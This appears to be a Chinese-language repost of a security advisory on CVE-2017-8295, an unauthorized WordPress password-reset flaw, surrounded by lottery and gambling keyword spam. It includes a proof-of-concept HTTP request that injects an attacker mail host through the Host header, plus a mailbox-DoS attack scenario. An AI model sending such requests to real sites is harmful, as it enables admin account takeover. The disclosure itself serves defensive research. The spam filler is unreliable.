双色球彩民乐预测 今晚双色球预测最准确号码预测 双色球开奖玩法说明 双色球中奖图片恶搞 双色球精准预测6十1玉玲珑 微信可以购买双色球吗 双色球走势图表近50期 双色球中奖方法 双色球开奖结果走势图全图 双色球连号组数怎么看 双色球开奖查询表 双色球选号技巧 双色球专家杀号360 双色球预测最准确专家 程远双色球预测分析

WordPress曝未經授權的密碼重置漏洞(CVE-2017-8295 )

webmaster 2017-05-05 16:56:17

漏洞提交者:Dawid Golunski

漏洞編號:CVE-2017-8295

發布日期:2017-05-03

修訂版本:1.0

漏洞危害:中/高

I. 漏洞

WordPress內核<= 4.7.4存在未經授權的密碼重置(0day)

II. 背景

WordPress是一個以PHP和MySQL為平臺的自由開源的博客軟件和內容管理系統。截止2017年2月,Alexa排名前1000萬的站點中約有27.5%使用該管理系統。據報道有超過6000萬站點使用WordPress進行站點管理或者作為博客系統。

III. 介紹

WordPress的重置密碼功能存在漏洞,在某些情況下不需要使用之前的身份令牌驗證獲取密碼重置鏈接。    
該攻擊可導致攻擊者在未經授權的情況下獲取用戶Wordpress后臺管理權限。

IV. 描述

該漏洞源于WordPress默認使用不可信的數據。當生成一個密碼重置郵件時應當是僅發送給與帳戶相關聯的電子郵件。    
從下面的代碼片段可以看出,在調用PHP mail()函數前創建了一個From email頭 

------[ wp-includes/pluggable.php ]------

...

if ( !isset( $from_email ) ) {
        // Get the site domain and get rid of www.
        $sitename = strtolower( $_SERVER['SERVER_NAME'] );
        if ( substr( $sitename, 0, 4 ) == 'www.' ) {
                $sitename = substr( $sitename, 4 );
        }

        $from_email = '[email protected]' . $sitename;
}

...

-----------------------------------------

正如我們所看到的,Wordpress為了生成重置郵件創建的一個From/Return-Path(發件人/收件人)頭,使用SERVER_NAME變量以獲取服務器的主機名。   
 
然而,諸如Apache的主流web服務器默認使用由客戶端提供的主機名來設置SERVER_NAME變量(參考Apache文檔)    
由于SERVER_NAME可以進行修改,攻擊者可以任意設置該值,例如attackers-mxserver.com    
這將導致Wordpress的$from_email變為[email protected],最終導致包含From/Return-Path(發件人/收件人)設置的密碼重置郵件發送到了該惡意郵件地址。    

至于攻擊者可以修改哪那一封電子郵件的頭信息,這取決于服務器環境(參考PHP文檔)    
基于郵件服務器的配置,可能導致被修改過郵件頭的惡意收件人/發件人地址的電子郵件發送給WordPress用戶。    
這使得攻擊者能夠在不需要進行交互就可以截取本該是需要進行交互才能進行的操作的密碼重置郵件。 

攻擊場景:

如果攻擊者知道用戶的電子郵件地址。為了讓密碼重置郵件被服務器拒收,或者無法到達目標地址。他們可以先對用戶的電子郵件帳戶進行DoS攻擊(通過發送多個超過用戶磁盤配額的大文件郵件或攻擊該DNS服務器)
某些自動回復可能會附加有郵件發送副本
發送多封密碼重置郵件給用戶,迫使用戶對這些沒完沒了的密碼重置郵件進行回復,回復中就包含的密碼鏈接會發送給攻擊者。

V. POC

如果攻擊者將類似下面的請求發送到默認可通過IP地址訪問的Wordpress安裝頁面(IP-based vhost): 

-----[ HTTP Request ]----

POST /wp/wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: injected-attackers-mxserver.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 56

user_login=admin&redirect_to=&wp-submit=Get+New+Password

------------------------

WordPress將觸發管理員賬戶的密碼重置功能    
由于修改了主機頭,SERVER_NAME變量將被設置為攻擊者所選擇的主機名,因此Wordpress會將以下電子郵件頭信息和正文傳遞給/usr/bin/sendmail 

------[ resulting e-mail ]-----

Subject: [CompanyX WP] Password Reset
Return-Path: <[email protected]>
From: WordPress <[email protected]>
Message-ID: <[email protected]>
X-Priority: 3
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

有人請求將以下賬戶的密碼進行重置: 

http://companyX-wp/wp/wordpress/
Username: admin

如果是弄錯了,直接忽略該郵件就好。重置密碼請訪問以下地址: 

http://companyx-wp/wp/wordpress/wp-login.php?action=rp&key=AceiMFmkMR4fsmwxIZtZ&login=admin%3E

正如我們看到的,Return-Path, From, 以及Message-ID字段都是攻擊者控制的域    
通過bash腳本替換/usr/sbin/sendmail以執行頭的驗證: 

#!/bin/bash
cat > /tmp/outgoing-email

VI. 業務影響

在利用成功的基礎上,攻擊者可重置用戶密碼并且未經授權獲取WordPress賬戶訪問權限。

VII. 系統影響

WordPress至最新版本4.7.4全部受影響

VIII. 解決方案

目前沒有官方解決方案可用。作為臨時解決方案,用戶可以啟用UseCanonicalName執行SERVER_NAME靜態值(參考Apache)

IX. 參考文獻

https://legalhackers.com
https://ExploitBox.io

Vendor site:

https://wordpress.org
http://httpd.apache.org/docs/2.4/mod/core.html#usecanonicalname
http://php.net/manual/en/function.mail.php
https://tools.ietf.org/html/rfc5321



双色球吧贴
双色球彩民乐预测 今晚双色球预测最准确号码预测 双色球开奖玩法说明 双色球中奖图片恶搞 双色球精准预测6十1玉玲珑 微信可以购买双色球吗 双色球走势图表近50期 双色球中奖方法 双色球开奖结果走势图全图 双色球连号组数怎么看 双色球开奖查询表 双色球选号技巧 双色球专家杀号360 双色球预测最准确专家 程远双色球预测分析
彩票托被识破为什么不删微信 2019小彩票app大全 球探比分app旧版ios 时时彩规律计算公式 欢乐生肖走势图彩经网 上海时时最快网站 云南快乐10分最大遗漏 5元起步倍投公式 天天彩票安卓下载 pk10技巧 稳赚买法 云南时时十一选五走势 3d和值尾开奖走势 零点棋牌下载 四川麻将巡回大赛 深圳风采玩法 北京pK10手机开奖记录